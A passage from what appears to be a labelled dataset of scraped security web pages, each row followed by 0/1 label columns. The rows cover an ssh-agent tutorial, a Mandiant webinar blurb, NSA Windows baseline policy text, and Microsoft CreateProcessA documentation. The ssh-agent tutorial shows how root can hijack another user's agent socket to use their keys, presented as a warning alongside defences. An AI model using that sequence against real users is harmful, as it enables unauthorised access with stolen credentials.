-fp $SSH_AGENT_PID UID PID PPID C STIME TTY TIME CMD lainee 7943 1 0 15:52 ? 00:00:00 ssh-agent # Are there any keys in there currently? # 'ssh-add -l' (list) will show us. $ ssh-add -l The agent has no identities. # Let's import the default keys. In our case, we have # each key protected with the same passphrase, which is # why it only asks once. $ ssh-add Enter passphrase for /home/lainee/.ssh/id_rsa: Identity added: /home/lainee/.ssh/id_rsa (/home/lainee/.ssh/id_rsa) Identity added: /home/lainee/.ssh/id_dsa (/home/lainee/.ssh/id_dsa) Identity added: /home/lainee/.ssh/identity (lainee@desktop) # What's in our agent now? $ ssh-add -l 1024 79:e9:6f:99:a3:2d:ae:f3:bd:3a:87:6c:ed:4e:bb:ad lainee@desktop (RSA1) 1024 23:d5:2b:20:02:a4:1a:c2:d0:d8:66:8f:a9:67:db:c0 id_dsa (DSA) 1024 e8:17:67:cf:9c:24:2b:59:ad:48:1d:e6:ea:d6:d9:3d id_rsa(RSA) # And let's add a few one-off keys also $ ssh-add ssh-keys/id* Enter passphrase for id_dsa.webrooters: Identity added: id_dsa.webrooters (id_dsa.webrooters) Enter passphrase for identity.webrooters: Identity added: identity.webrooters (webrooters@my_company.com) # What's in our agent now? $ ssh-add -l 1024 79:e9:6f:99:a3:2d:ae:f3:bd:3a:87:6c:ed:4e:bb:ad lainee@desktop (RSA1) 1024 23:d5:2b:20:02:a4:1a:a9:67:db:c0:c2:d0:d8:66:8f id_dsa (DSA) 1024 e8:17:67:cf:9c:24:2b:59:ad:48:1d:e6:ea:d6:d9:3d id_rsa(RSA) 1024 1a:c2:d0:d8:66:23:d5:2b:20:02:a4:8f:a9:67:db:c0 id_dsa.webrooters (DSA) 1024 ae:f3:bd:3a:87:79:e9:6f:99:4e:bb:ad:a3:2d:6c:ed webrooters@my_company.com (RSA1) Above we used ssh-add to add the default keys, ssh-add -l to list the keys in the agent, and ssh-add filenamelist to add other keys explicitly. Deleting keys from the agent You can use the ssh-agent -d command to delete keys from the agent, as seen here: # List keys $ ssh-add -l 1024 79:e9:6f:99:a3:2d:ae:f3:bd:3a:87:6c:ed:4e:bb:ad lainee@desktop (RSA1) 1024 23:d5:2b:20:02:a4:1a:a9:67:db:c0:c2:d0:d8:66:8f id_dsa (DSA) 1024 e8:17:67:cf:9c:24:2b:59:ad:48:1d:e6:ea:d6:d9:3d id_rsa(RSA) 1024 1a:c2:d0:d8:66:23:d5:2b:20:02:a4:8f:a9:67:db:c0 id_dsa.webrooters (DSA) 1024 ae:f3:bd:3a:87:79:e9:6f:99:4e:bb:ad:a3:2d:6c:ed webrooters@my_company.com (RSA1) # Remove the key that came from the file ~/.ssh/id_dsa.webrooters # from the agent. (Does not remove the file from the directory.) $ ssh-add -d ~/.ssh/id_dsa.webrooters Identity removed: id_dsa.webrooters (id_dsa.webrooters.pub) # List keys again $ ssh-add -l 1024 79:e9:6f:99:a3:2d:ae:f3:bd:3a:87:6c:ed:4e:bb:ad lainee@desktop (RSA1) 1024 23:d5:2b:20:02:a4:1a:a9:67:db:c0:c2:d0:d8:66:8f id_dsa (DSA) 1024 e8:17:67:cf:9c:24:2b:59:ad:48:1d:e6:ea:d6:d9:3d id_rsa(RSA) 1024 ae:f3:bd:3a:87:79:e9:6f:99:4e:bb:ad:a3:2d:6c:ed webrooters@my_company.com (RSA1) Why might you want to delete keys from the agent? The most common reasons are: You want to temporarily add a key that you want to use a lot for the next hour, but don't want it to stick around after you're done with it for security/paranoia reasons. (See the ""Agent Security Concerns"" section later.) You no longer use the keys, for example if you've upgraded all your servers to support SSHv2, and your RSA1 keys aren't used any more. You have too many keys in your agent, so you remove the keys that are least necessary. See the next section for why this may occur. Too Many Agent Keys? SSH servers only allow you to attempt to authenticate a certain number of times. Each failed password attempt, each failed pubkey/identity that is offered, etc, take up one of these attempts. If you have a lot of SSH keys in your agent, you may find that an SSH server may kick you out before allowing you to attempt password authentication at all. If this is the case, there are a few different workarounds. If you have keys in your agent that you don't need any more (for instance old obsolete RSA1 keys) then you can delete them from the agent using ssh-agent -d filename. If you know you want to use password authentication, you can prevent SSH from offering keys at all by temporarily disabling your SSH_AUTH_SOCK envorionment variable: $ SSH_AUTH_SOCK='' ssh user@myserver ... Or you can use put configuration options into ~/.ssh/options, or supply them manually on the command line: # Using the configuration file: $ head ~/.ssh/config Host myserver # Allow SSHv1 Identity authentication? RSAAuthentication no # Allow SSHv2 Pubkey authentication? PubkeyAuthentication no $ ssh myserver or # Put it all on the command line. # Or better yet, put it in a shell script or an alias... $ ssh -o'RSAAuthentication=no' -o 'PubkeyAuthentication=no' user@myserver ... If you want to use a specific key, but it's too far down in the list in the agent (the SSH server kicks you out before it's offered) then you are out of luck. While I wish there were a way to suggest an order for the agent to offer keys, I don't know of one. If anyone has an idea, let me know. I'd love to just be able to supply a -i filename option on the command line, but that doesn't work. Agent Security Concerns The ssh-agent creates a unix domain socket, and then listens for connections from /usr/bin/ssh on this socket. It relies on simple unix permissions to prevent access to this socket, which means that any keys you put into your agent are available to anyone who can connect to this socket. When the agent starts, it creates a new directory in /tmp/ with restrictive permissions (0700), and creates it's socket therein with similarly restrictive permissions (0600). However, the root user on this machine still has the ability to override access restrictions on all local files, so root can access your agent's keys! root# set | grep SSH_ root# ssh-add -l Cannot connect to your agent. root# ls -l /tmp/ssh-*/* srwx------ 1 lainee alandra 0 Jan 21 11:51 /tmp/ssh-OqdW7921/agent.7921 root# SSH_AUTH_SOCK=/tmp/ssh-OqdW7921/agent.7921 root# export SSH_AUTH_SOCK root# ssh-add -l 1024 79:e9:6f:99:a3:2d:ae:f3:bd:3a:87:6c:ed:4e:bb:ad lainee@desktop (RSA1) 1024 23:d5:2b:20:02:a4:1a:a9:67:db:c0:c2:d0:d8:66:8f id_dsa (DSA) 1024 e8:17:67:cf:9c:24:2b:59:ad:48:1d:e6:ea:d6:d9:3d id_rsa(RSA) 1024 ae:f3:bd:3a:87:79:e9:6f:99:4e:bb:ad:a3:2d:6c:ed webrooters@my_company.com (RSA1) So the bad news is that your agent keys are usable by the root user. The good news, however, is that they are only usable while the agent is running -- root could use your agent to authenticate to your accounts on other systems, but it doesn't provide direct access to the keys themselves. This means that the keys can't be taken off the machine and used from other locations indefinitely. Is there any way to keep root from using your agent, even though it can subvert unix file permissions? Yes, you can. If you supply the -c option when you import your keys into the agent, then the agent will not allow them to be used without confirmation. When someone attempts to use your agent to authenticate to a server, the ssh-agent will run the ssh-askpass program. This program will pop up on your X11 desktop and ask for confirmation before proceding to use the key. At this point you're probably going to realize that we're still fighting a losing battle. The local root account can access your X11 desktop, all your processes, you name it. If you can't trust the root user, you're in trouble. However this will prevent root on machines to which you've forwarded the agent from accessing your agent. Agent forwarding One of the nice things about the agent is that it can follow you as you SSH from machine to machine. The default in newer versions of OpenSSH is to disable agent forwarding by default, so you'll need to decide when it's correct for you to use and specify it appropriately. How does the agent forwarding actually work? In short, the agent is running on one machine, and each time you SSH with agent forwarding, the server creates a 'tunnel' back through the SSH connection to the agent so it's available for any further SSH connections. Let's say we're on our desktop, we SSH to a management server with agent forwarding, and from the management server SSH to our mail server. Here's what happens: /usr/bin/ssh on your desktop connects to the management server, authenticates, and requests agent forwarding. /usr/sbin/sshd on the management server creates a socket in /tmp/ssh-XXXXXXX/agent.##### and sets the SSH_AUTH_SOCK environment variable to match. The SSH daemon then starts up your shell, and you begin doing your work on the management server. When you decide to SSH out to the mail server, the /usr/bin/ssh program (here on the management server) sees the SSH_AUTH_SOCK environment variable and connects to that local socket file. The SSH daemon, who is the other end of the local socket /tmp/ssh-XXXXXXX/agent.#####, simply transfers data from /usr/bin/ssh on the management server to and from the ssh-agent running on your desktop. All the key mathematics are handled on the actual agent, which is running on your desktop, not on any of the intervening machines. The agent authenticates you to the mail server, and you're in. Using agent forwarding can save you a lot of time and typing. Also note that since your agent is available to any machine to which you forward it, it's also accessible by root on those systems, so don't forward it unless you trust those systems with your authentication credentials! Turn off agent forwarding globally Unless you have a good reason to forward the agent by default, you should verify that the agent forwarding is disabled by default. Locate the global ssh_config file, which typically lives in /etc/ or /etc/ssh/ and make sure you have the following: Host * ForwardAgent no This will disable ssh-agent forwarding unless explicitly requested. Agent forwarding on the command line To forward your agent via the command line, just include a -A flag: desktop$ ssh -A user@remotehost The -a option disables agent forwarding, which is the default. Agent forwarding via the config file If you have a host to which you always wish to forward your agent, without the trouble of supplying the -A flag, you can create entries in ~/.ssh/config to turn it on for these hosts: $ cat ~/.ssh/config Host shellserver ForwardAgent yes Host management-server ForwardAgent yes Host * ForwardAgent no Although the restrictive Host * section should be already contained in the global ssh_config file, I prefer to have it in my personal copy regardless. Other Useful Features There are several other command line flags and features of ssh-add and ssh-agent. ssh-add -L When called with a captial ""L"" argument, ssh-add will output the entire key, not just the fingerprint. Useful for concatenating into one's ~/.ssh/authorized_keys file. ssh-add -D Delete all keys from the agent ssh-add -x Lock the agent with a password - it will be unusable until you unlock it again. A good thing to do if you want to leave your keys in the agent when you go home at night - you'll need to unlock it when you return, and no one can abuse it while it's locked. Unlock using ssh-add -X and supplying the password again. ssh-add -t seconds filename The -t tells the agent to discard the key after a specified amount of time. A good way to temporarily have keys in your agent, or feed your own paranoia. ssh-agent -t seconds Select a default lifetime for keys when the agent starts up. Lifetimes specified on the ssh-add command line, if present, override this default. Conclusion We've seen how ssh-agent can save a great deal of time and typing when used with SSH Identity/Pubkey authentication. While we're still some ways away from computers simply knowing who we are and what we have access to, tools like ssh-agent go a long way to keeping authentication strong yet making it easy-to-use. Notes [1] Unfortunately, many of those users are the same ones that choose their sweethearts's name for their password, and then stick it on their monitor in case they forget it. [2] You may choose to have different passphrases for the keys to prefer security over convienience, but if you use a strong passphrase and each key has equivalent access, then a compromise of one is no worse than a compromise of all anyway. About the author Brian Hatch is the author of Hacking Linux Exposed, 2nd Edition, Building Linux VPNs, and of the Linux Security: Tips, Tricks, and Hackery Newsletter. In order to exit an xterm, he frequently needs to log out of ten or more SSH connections, each with cascaded port forwards, to get back to his desktop shell. And that's not even including all the virtual /usr/bin/screen TTYs. More articles by this author View more articles by Brian Hatch on SecurityFocus. This article originally appeared on SecurityFocus.com -- reproduction in whole or in part is not allowed without expressed written consent. Tags: Products, Endpoint Protection, SecurityFocus Subscriptions (0) brihatch View Profile Login or Register to post comments. About Your Community A Message From Your Community Manager: RGMDonaldson Welcome to the Security Community on Symantec Connect. The Security Community covers many different security products from Symantec and provides valuable technical information for each. Please feel free to contact me via private message with any questions you may have. I look forward to hearing from you and answering any questions about the Community. Send a private message to the Community Manager Top 5 Contributors: All Time MEMBERREWARD POINTS \xe2\x84\xacr\xce\xaf\xce\xb1\xce\xb7148952 Vikram Kumar-SAV to SEP77376 Mithun Sanghavi77368 Rafeeq69214 P_K_53536 Top 5 Contributors: Last 30 Days MEMBERREWARD POINTS dprager1800 Aboonaim Golandaz1150 Aravind Ghosh375 Mithun Sanghavi350 AlexHedley315 Contact UsPrivacy PolicyEarn RewardsRewards Terms and Conditions \xc2\xa9 2019 Symantec Corporation","0","0","0","0","0","1","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","1","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0" -"Know Your Enemy: New Financially-Motivated & Spear-Phishing Group WEBINAR Know Your Enemy: \xc2 New Financially-Motivated & Spear-Phishing Group Beginning in January\xc2 2016, Mandiant identified a financially-motivated threat actor that launched several tailored, spear-phishing campaigns\xe2\x80\x94targeting industries that process large volumes of consumer credit cards such as retail, restaurant, and hospitality. To date, Mandiant has seen this group at over 150 organizations. This group is interesting due to the large number of organizations they quickly targeted, how quickly they shift tools, tactics, and procedures (TTPs), and their unusual persistence in attempting to re-compromise an organization after remediation. During this conversation, we will walk through examples from several Mandiant investigations of this groups activity. We will take a technical look at this threat actor's TTPs as well as talk about what to look for to determine if they are active in your environment. Register for this webinar as our experts share key insights on this new cyber threat group! Speakers: \xc2 Steve Elovitz Manager, Consulting Services \xc2 \xc2 \xc2 Ian Ahl Manager, Incident Response Date/Time: On-Demand Webinar \xc2\xa9 2017 FireEye, Inc. All rights reserved. Privacy Policy.","1","1","0","1","1","1","1","1","1","1","1","1","0","1","0","0","0","0","0","1","1","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","1","0","0","1","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","1","1","0","0","0","0","0","0","0","1","0","0","0","0","0","1","0","0","0","0","0","0","1","0","1","0","0","0","1","0","0","0","0","0","0","1","0","1","0","0","0","0","1","0","0","0","0","0","0","0","0","0","1","0","0","0","0","0","0","0","0","0","0","0","0","0","0","1","0","0","0","0","1","0","1","0","0","0","0","0","1","0","0","0","0","1","0","0","0","0","0","0","0","0","0","0","1","0","0","0","0","1","0","1","0","1","0","0","0","0","0","1","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","1","0","0","1","0","0","0","0","0","0","0","0","0","1","0","0","0","1","0","0","1" -"WEBINAR Know Your Enemy: New Financially-Motivated & Spear-Phishing Group Beginning in January 2016, Mandiant identified a financially-motivated threat actor that launched several tailored, spear-phishing campaigns\xe2\x80\x94targeting industries that process large volumes of consumer credit cards such as retail, restaurant, and hospitality. To date, Mandiant has seen this group at over 150 organizations. This group is interesting due to the large number of organizations they quickly targeted, how quickly they shift tools, tactics, and procedures (TTPs), and their unusual persistence in attempting to re-compromise an organization after remediation. During this conversation, we will walk through examples from several Mandiant investigations of this groups activity. We will take a technical look at this threat actor's TTPs as well as talk about what to look for to determine if they are active in your environment. Register for this webinar as our experts share key insights on this new cyber threat group! Speakers: Steve Elovitz - 100X100.jpg Steve Elovitz Manager, Consulting Services Ian Ahl-100X100.jpg Ian Ahl Manager, Incident Response Mandiant_logo_RGB.png Date/Time: On-Demand Webinar \xc2\xa9 2017 FireEye, Inc. All rights reserved. Privacy Policy.","0","0","0","0","0","1","0","0","0","0","1","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","1","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","1","0","0","0","0","0","0","0","0","0","0","0","0","1","0","0","0","0" -"Windows-Secure-Host-Baseline/SecGuide.adml at master \xc2\xb7 nsacyber/Windows-Secure-Host-Baseline \xc2\xb7 GitHub Skip to content nsacyber / Windows-Secure-Host-Baseline Sign\xc2 up Why GitHub? Features \xe2\x86\x92 Code review Project management Integrations Actions Package registry Team management Social coding Documentation Code hosting Customer stories \xe2\x86\x92 Security \xe2\x86\x92 Enterprise Explore Explore GitHub \xe2\x86\x92 Learn & contribute Topics Collections Trending Learning Lab Open source guides Connect with others Events Community forum GitHub Education Marketplace Pricing Plans \xe2\x86\x92 Compare plans Contact Sales Nonprofit \xe2\x86\x92 Education \xe2\x86\x92 In this repository All GitHub \xe2\x86\xb5 Jump to \xe2\x86\xb5 No suggested jump to results In this repository All GitHub \xe2\x86\xb5 Jump to \xe2\x86\xb5 In this repository All GitHub \xe2\x86\xb5 Jump to \xe2\x86\xb5 Sign\xc2 in Sign\xc2 up This repository has been archived by the owner. It is now read-only. Watch 199 Star 1,128 Fork 216 nsacyber/Windows-Secure-Host-Baseline Archived Code Issues 13 Pull requests 0 Projects 0 Security Insights Code Issues 13 Pull requests 0 Projects 0 Security Pulse Permalink Dismiss Join GitHub today GitHub is home to over 40 million developers working together to host and review code, manage projects, and build software together. Sign up Branch: master Find file Copy path Windows-Secure-Host-Baseline/Windows/Group Policy Templates/en-US/SecGuide.adml Find file Copy path iadgovuser1 update to newer SecGuide admx/adml files. Fixes #21 ad1502a Jan 24, 2017 1 contributor Users who have contributed to this file 47 lines (35 sloc) 4.09 KB Raw Blame History MS Security Guide MS Security Guide mitigations MS Security Guide Apply UAC restrictions to local accounts on network logons This setting controls whether local accounts can be used for remote administration via network logon (e.g., NET USE, connecting to C$, etc.). Local accounts are at high risk for credential theft when the same account and password is configured on multiple systems. Enabling this policy significantly reduces that risk. Enabled (recommended): Applies UAC token-filtering to local accounts on network logons. Membership in powerful group such as Administrators is disabled and powerful privileges are removed from the resulting access token. This configures the LocalAccountTokenFilterPolicy registry value to 0. This is the default behavior for Windows. Disabled: Allows local accounts to have full administrative rights when authenticating via network logon, by configuring the LocalAccountTokenFilterPolicy registry value to 1. For more information about local accounts and credential theft, see ""Mitigating Pass-the-Hash (PtH) Attacks and Other Credential Theft Techniques"": http://www.microsoft.com/en-us/download/details.aspx?id=36036. For more information about LocalAccountTokenFilterPolicy, see http://support.microsoft.com/kb/951016. WDigest Authentication (disabling may require KB2871997) When WDigest authentication is enabled, Lsass.exe retains a copy of the user's plaintext password in memory, where it can be at risk of theft. Microsoft recommends disabling WDigest authentication unless it is needed. If this setting is not configured, WDigest authentication is disabled in Windows 8.1 and in Windows Server 2012 R2; it is enabled by default in earlier versions of Windows and Windows Server. Update KB2871997 must first be installed to disable WDigest authentication using this setting in Windows 7, Windows 8, Windows Server 2008 R2 and Windows Server 2012. Enabled: Enables WDigest authentication. Disabled (recommended): Disables WDigest authentication. For this setting to work on Windows 7, Windows 8, Windows Server 2008 R2 or Windows Server 2012, KB2871997 must first be installed. For more information, see http://support.microsoft.com/kb/2871997 and http://blogs.technet.com/b/srd/archive/2014/06/05/an-overview-of-kb2871997.aspx . Lsass.exe audit mode Enable auditing of Lsass.exe to evaluate feasibility of enabling LSA protection. For more information, see http://technet.microsoft.com/en-us/library/dn408187.aspx LSA Protection Enable LSA protection. For more information, see http://technet.microsoft.com/en-us/library/dn408187.aspx Remove ""Run As Different User"" from context menus This setting controls whether ""Run As Different User"" appears on the Shift+RightClick context menu for .bat, .cmd, .exe, and .msc files. Enabled (recommended): Keeps ""Run As Different User"" from appearing in the context menu when the user holds Shift while right-clicking on a .bat, .cmd, .exe, or .msc file in Explorer. Disabled: Restores the Windows default behavior for ""Run As Different User."" Copy lines Copy permalink View git blame Go \xc2\xa9 2019 GitHub, Inc. Terms Privacy Security Status Help Contact GitHub Pricing API Training Blog About You can\xe2\x80\x99t perform that action at this time. You signed in with another tab or window. Reload to refresh your session. You signed out in another tab or window. Reload to refresh your session.","0","0","0","0","0","1","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","1","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0" -"The Information Assurance Directorate at the NSA Skip Site Navigation Show / Hide Navigation Panel Site Search Site Navigation for Mobile Devices PKI/CAC Login Register Home Library Toggle Library Menu Open/Closed IA Advisories & Alerts IA Guidance IA Solutions for Classified Algorithm Guidance IA Standards Community Gold Standard Secure Architecture Security Configuration Guidance Applications Industrial Control Systems Networks Operating Systems Secure Implementation (requires login) Security Tips Tech Briefs Guidance Archive Information Assurance Symposium Reports Supporting Documents Brochures FAQs Forms & Templates Tools (requires login) All Library Collections Help Toggle Help Menu Open/Closed Certificates Terms of Use Site Index Category Browser Frequently Asked Questions Common Site Certificate Access Errors Information for Business Information for IT Staff, Decision Makers, and Developers You have Javascript disabled. This site requires JavaScript to be enabled for site navigation. To navigate to other pages with JavaScript disabled use the Site Map. Skip Site Navigation Site Search \xe2\x80\x94\xe2\x80\x94\xe2\x80\x94 Show / Hide Navigation Panel National Security Agency | Central Security Service Defending our Nation. Securing the Future. NSA.gov More IA Sites Search Search Site Navigation for Desktop Computer Library All Library Collections IA Advisories & Alerts IA Guidance IA Solutions for Classified Algorithm Guidance IA Standards Community Gold Standard Secure Architecture IA Guidance (cont.) Security Configuration Guidance Applications Industrial Control Systems Networks Operating Systems Secure Implementation (requires login) Security Tips Tech Briefs Guidance Archive Information Assurance Symposium Reports Supporting Documents Brochures FAQs Forms & Templates Tools (requires login) \xc2 Looking for something else? Help How do I \xe2\x80\xa6 NSA Cybersecurity Requirement Center? Register for an account? Download documents? Obtain a DoD/CAC Certificate? More Frequently Asked Questions Certificates Terms of Use Site Index Category Browser Frequently Asked Questions Common Site Certificate Access Errors Information for Business Information for IT Staff, Decision Makers, and Developers \xc2 \xc2 Register Login The URL www.iad.gov has changed to https://apps.nsa.gov/iaarchive/. Please update your bookmark. The evolution of NSA Cybersecurity has begun. We are re-launching this site to give users a better experience. NSA Cybersecurity (formerly ""information assurance"") information from October 1, 2018 onward will be available at https://www.nsa.gov/what-we-do/cybersecurity/. \xc2 \xc2 \xc2 Our Focus \xc2 Top Top of Page Supplemental Navigation NSA Resources Apply for a Career Now Accessibility Civil Liberties & Privacy No FEAR Act Freedom of Information Act Inspector General Terms of Use Web Privacy & Security External Resources Defense.gov DNI.gov IC on the Record Intelligence.gov USA.gov Learn about our seals \xc2 Follow Us Other Programs Key Support - https://www.iad.gov/KeySupport COR - https://www.iad.gov/COR NCSMO - https://www.iad.gov/NCSMO IOSS - https://www.iad.gov/IOSS Secure Phone - https://www.iad.gov/SecurePhone CNSS - https://www.cnss.gov/cnss NIETP/CAE - https://www.iad.gov/NIETP NSCAP/CIRA - https://www.iad.gov/NSCAP/index.cfm \xc2 \xc2","0","1","0","0","0","1","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","1","0","0","1","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0" -"CreateProcessA function (processthreadsapi.h) | Microsoft Docs Skip to main content Contents Exit focus mode Edit Share Twitter LinkedIn Facebook Email Theme Light Dark High contrast Sign in Profile Sign out Contents CreateProcessA function 12/05/2018 12 minutes to read In this article Creates a new process and its primary thread. The new process runs in the security context of the calling process. If the calling process is impersonating another user, the new process uses the token for the calling process, not the impersonation token. To run the new process in the security context of the user represented by the impersonation token, use the CreateProcessAsUser or CreateProcessWithLogonW function. Syntax BOOL CreateProcessA( LPCSTR lpApplicationName, LPSTR lpCommandLine, LPSECURITY_ATTRIBUTES lpProcessAttributes, LPSECURITY_ATTRIBUTES lpThreadAttributes, BOOL bInheritHandles, DWORD dwCreationFlags, LPVOID lpEnvironment, LPCSTR lpCurrentDirectory, LPSTARTUPINFOA lpStartupInfo, LPPROCESS_INFORMATION lpProcessInformation ); Parameters lpApplicationName The name of the module to be executed. This module can be a Windows-based application. It can be some other type of module (for example, MS-DOS or OS/2) if the appropriate subsystem is available on the local computer. The string can specify the full path and file name of the module to execute or it can specify a partial name. In the case of a partial name, the function uses the current drive and current directory to complete the specification. The function will not use the search path. This parameter must include the file name extension; no default extension is assumed. The lpApplicationName parameter can be NULL. In that case, the module name must be the first white space\xe2\x80\x93delimited token in the lpCommandLine string. If you are using a long file name that contains a space, use quoted strings to indicate where the file name ends and the arguments begin; otherwise, the file name is ambiguous. For example, consider the string ""c:\\program files\\sub dir\\program name"". This string can be interpreted in a number of ways. The system tries to interpret the possibilities in the following order: c:\\program.exe c:\\program files\\sub.exe c:\\program files\\sub dir\\program.exe c:\\program files\\sub dir\\program name.exe If the executable module is a 16-bit application, lpApplicationName should be NULL, and the string pointed to by lpCommandLine should specify the executable module as well as its arguments. To run a batch file, you must start the command interpreter; set lpApplicationName to cmd.exe and set lpCommandLine to the following arguments: /c plus the name of the batch file. lpCommandLine The command line to be executed. The maximum length of this string is 32,768 characters, including the Unicode terminating null character. If lpApplicationName is NULL, the module name portion of lpCommandLine is limited to MAX_PATH characters. The Unicode version of this function, CreateProcessW, can modify the contents of this string. Therefore, this parameter cannot be a pointer to read-only memory (such as a const variable or a literal string). If this parameter is a constant string, the function may cause an access violation. The lpCommandLine parameter can be NULL. In that case, the function uses the string pointed to by lpApplicationName as the command line. If both lpApplicationName and lpCommandLine are non-NULL, the null-terminated string pointed to by lpApplicationName specifies the module to execute, and the null-terminated string pointed to by lpCommandLine specifies the command line. The new process can use GetCommandLine to retrieve the entire command line. Console processes written in C can use the argc and argv arguments to parse the command line. Because argv[0] is the module name, C programmers generally repeat the module name as the first token in the command line. If lpApplicationName is NULL, the first white space\xe2\x80\x93delimited token of the command line specifies the module name. If you are using a long file name that contains a space, use quoted strings to indicate where the file name ends and the arguments begin (see the explanation for the lpApplicationName parameter). If the file name does not contain an extension, .exe is appended. Therefore, if the file name extension is .com, this parameter must include the .com extension. If the file name ends in a period (.) with no extension, or if the file name contains a path, .exe is not appended. If the file name does not contain a directory path, the system searches for the executable file in the following sequence: The directory from which the application loaded. The current directory for the parent process. The 32-bit Windows system directory. Use the GetSystemDirectory function to get the path of this directory. The 16-bit Windows system directory. There is no function that obtains the path of this directory, but it is searched. The name of this directory is System. The Windows directory. Use the GetWindowsDirectory function to get the path of this directory. The directories that are listed in the PATH environment variable. Note that this function does not search the per-application path specified by the App Paths registry key. To include this per-application path in the search sequence, use the ShellExecute function. The system adds a terminating null character to the command-line string to separate the file name from the arguments. This divides the original string into two strings for internal processing. lpProcessAttributes A pointer to a SECURITY_ATTRIBUTES structure that determines whether the returned handle to the new process object can be inherited by child processes. If lpProcessAttributes is NULL, the handle cannot be inherited. The lpSecurityDescriptor member of the structure specifies a security descriptor for the new process. If lpProcessAttributes is NULL or lpSecurityDescriptor is NULL, the process gets a default security descriptor. The ACLs in the default security descriptor for a process come from the primary token of the creator.Windows\xc2 XP:\xc2 \xc2 The ACLs in the default security descriptor for a process come from the primary or impersonation token of the creator. This behavior changed with Windows\xc2 XP with SP2 and Windows Server\xc2 2003. lpThreadAttributes A pointer to a SECURITY_ATTRIBUTES structure that determines whether the returned handle to the new thread object can be inherited by child processes. If lpThreadAttributes is NULL, the handle cannot be inherited. The lpSecurityDescriptor member of the structure specifies a security descriptor for the main thread. If lpThreadAttributes is NULL or lpSecurityDescriptor is NULL, the thread gets a default security descriptor. The ACLs in the default security descriptor for a thread come from the process token.Windows\xc2 XP:\xc2 \xc2 The ACLs in the default security descriptor for a thread come from the primary or impersonation token of the creator. This behavior changed with Windows\xc2 XP with SP2 and Windows Server\xc2 2003. bInheritHandles If this parameter is TRUE, each inheritable handle in the calling process is inherited by the new process. If the parameter is FALSE, the handles are not inherited. Note that inherited handles have the same value and access rights as the original handles. Terminal Services:\xc2 \xc2 You cannot inherit handles across sessions. Additionally, if this parameter is TRUE, you must create the process in the same session as the caller. Protected Process Light (PPL) processes:\xc2 \xc2 The generic handle inheritance is blocked when a PPL process creates a non-PPL process since PROCESS_DUP_HANDLE is not allowed from a non-PPL process to a PPL process. See Process Security and Access Rights dwCreationFlags The flags that control the priority class and the creation of the process. For a list of values, see Process Creation Flags. This parameter also controls the new process's priority class, which is used to determine the scheduling priorities of the process's threads. For a list of values, see GetPriorityClass. If none of the priority class flags is specified, the priority class defaults to NORMAL_PRIORITY_CLASS unless the priority class of the creating process is IDLE_PRIORITY_CLASS or BELOW_NORMAL_PRIORITY_CLASS. In this case, the child process receives the default priority class of the calling process. lpEnvironment A pointer to the environment block for the new process. If this parameter is NULL, the new process uses the environment of the calling process. An environment block consists of a null-terminated block of null-terminated strings. Each string is in the following form: name=value\\0 Because the equal sign is used as a separator, it must not be used in the name of an environment variable. An environment block can contain either Unicode or ANSI characters. If the environment block pointed to by lpEnvironment contains Unicode characters, be sure that dwCreationFlags includes 